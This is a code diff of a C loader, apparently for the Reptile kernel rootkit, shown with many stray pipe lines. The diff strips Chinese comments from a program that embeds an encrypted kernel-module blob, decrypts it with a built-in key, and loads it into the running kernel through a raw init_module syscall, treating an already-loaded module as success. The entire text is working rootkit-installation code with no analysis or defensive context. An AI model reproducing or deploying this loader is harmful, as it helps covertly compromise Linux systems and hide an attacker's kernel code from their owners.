|
|
|
@ -11,29 +11,27 @@
|
|
|
|
|
|
|
|
|
|
#include "encrypt.h"
|
|
|
|
|
|
|
|
|
|
// 包含 reptile.ko.inc 文件中的二进制数据
|
|
|
|
|
static char reptile_blob[] = {
|
|
|
|
|
#include "reptile.ko.inc"
|
|
|
|
|
};
|
|
|
|
|
|
|
|
|
|
// 定义 init_module 宏,调用系统调用 __NR_init_module
|
|
|
|
|
#define init_module(module_image, len, param_values) syscall(__NR_init_module, module_image, len, param_values)
|
|
|
|
|
|
|
|
|
|
int main(void)
|
|
|
|
|
{
|
|
|
|
|
int ret = EXIT_FAILURE; // 初始化返回值为失败
|
|
|
|
|
size_t len; // 模块长度
|
|
|
|
|
void *module_image; // 模块镜像指针
|
|
|
|
|
int ret = EXIT_FAILURE;
|
|
|
|
|
size_t len;
|
|
|
|
|
void *module_image;
|
|
|
|
|
|
|
|
|
|
len = sizeof(reptile_blob); // 获取模块长度
|
|
|
|
|
do_decrypt(reptile_blob, len, DECRYPT_KEY); // 解密模块数据
|
|
|
|
|
module_image = malloc(len); // 分配内存
|
|
|
|
|
memcpy(module_image, reptile_blob, len); // 复制解密后的数据到分配的内存中
|
|
|
|
|
init_module(module_image, len, ""); // 初始化模块
|
|
|
|
|
len = sizeof(reptile_blob);
|
|
|
|
|
do_decrypt(reptile_blob, len, DECRYPT_KEY);
|
|
|
|
|
module_image = malloc(len);
|
|
|
|
|
memcpy(module_image, reptile_blob, len);
|
|
|
|
|
init_module(module_image, len, "");
|
|
|
|
|
|
|
|
|
|
if (errno == 37) // 检查错误码是否为 37 (模块已存在)
|
|
|
|
|
ret = EXIT_SUCCESS; // 设置返回值为成功
|
|
|
|
|
if (errno == 37)
|
|
|
|
|
ret = EXIT_SUCCESS;
|
|
|
|
|
|
|
|
|
|
free(module_image); // 释放内存
|
|
|
|
|
return ret; // 返回结果
|
|
|
|
|
}
|
|
|
|
|
free(module_image);
|
|
|
|
|
return ret;
|
|
|
|
|
}
|